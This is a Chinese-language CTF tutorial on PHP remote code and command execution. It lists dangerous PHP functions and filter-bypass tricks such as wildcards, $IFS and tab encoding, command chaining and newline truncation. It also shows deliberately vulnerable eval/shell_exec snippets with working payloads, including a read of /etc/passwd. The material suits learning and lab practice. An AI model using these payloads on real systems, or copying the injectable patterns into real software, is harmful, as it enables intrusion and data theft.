CTF中的RCE詳解


每月更新 1/1 嘻嘻

前置知識

代碼執行(Remote Code Excution)

應用程序中提供了一些可以將字符串作為代碼執行的函數,如PHP中的eval()函數,可以將函數中的參數當做PHP代碼執行。如果這些函數的參數控制不嚴格,可能會被利用,造成任意代碼執行。

命令執行(Remote Commond Excution)

應用程序的某些功能需要調用可以執行系統命令的函數,如果這些函數或者函數的參數能被用戶控制,就可能通過命令連接符將惡意命令拼接到正常函數中,從而任意執行系統命令。

相關函數

代碼執行函數

eval()
assert()
create_function()

命令執行函數

system()
passthru()
exec()
shell_exec()
proc_open()
popen()
pcntl_exec()
dl()

常見繞過

繞過禁止的flag

fl\ag
a=fl;b=ag;cat $a$b
cat `ls`
cat $(ls)
cat f""lag
cat f*
cat f???
cat ????.???

實戰演示-flag被過濾的繞過

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

?c=system("cat f*");

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

?c=passthru ("cat f*");

查看文件命令

cat: 由第一行開始顯示文件內容
tac: 從最后一行開始顯示,可以看出tac是cat的倒寫形式
nl: 顯示的時候順便顯示行號
more: 一頁一頁地顯示文件內容
less: 與more類似,但是比more更好的是,可以往前翻頁
tail: 只看結尾幾行
od: 以二進制的方式讀取文件內容
/bin/c?t /etc/passwd

繞過空格

<
<>
%20(space)
%09(tab)
$IFS$9
${IFS} 

實戰演示-空格繞過、cat繞過

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ 
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

?c=passthru("tac%09f*");

單行多命令執行

;     執行完前面的語句再執行后面的語句
&   兩條命令都執行,如果前面的語句為假則執行執行后面的語句,前面的語句可真可假。
&& 如果前面的語句為假則直接出錯,也不執行后面的語句,前面的語句為真則兩條命令都執行,前面的語句只能為真
|     顯示后面語句的執行結果
||    當前面的語句執行出錯時,執行后面的語句
$(touch TGUCTF) 被$包裹的優先級較高
`touch TGUCTF` 在``內的會被當做命令執行

實戰演示-單行多命令執行

<?php

if(isset($_GET['ip'])){
	$ip=$_GET['ip'];
	$a=shell_exec("ping -c 4 ".$ip);
	print_r($a);
}
else{
	highlight_file(__FILE__);
}

?ip=x;cat flag.php

實戰演示-截斷繞過

<?php
if (isset($_GET['c'])) {
	    $c = $_GET['c'];
	        system($c . " >/dev/null 2>&1");
} else {
	    highlight_file(__FILE__);
}
?>

?c=cat f*%0a


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM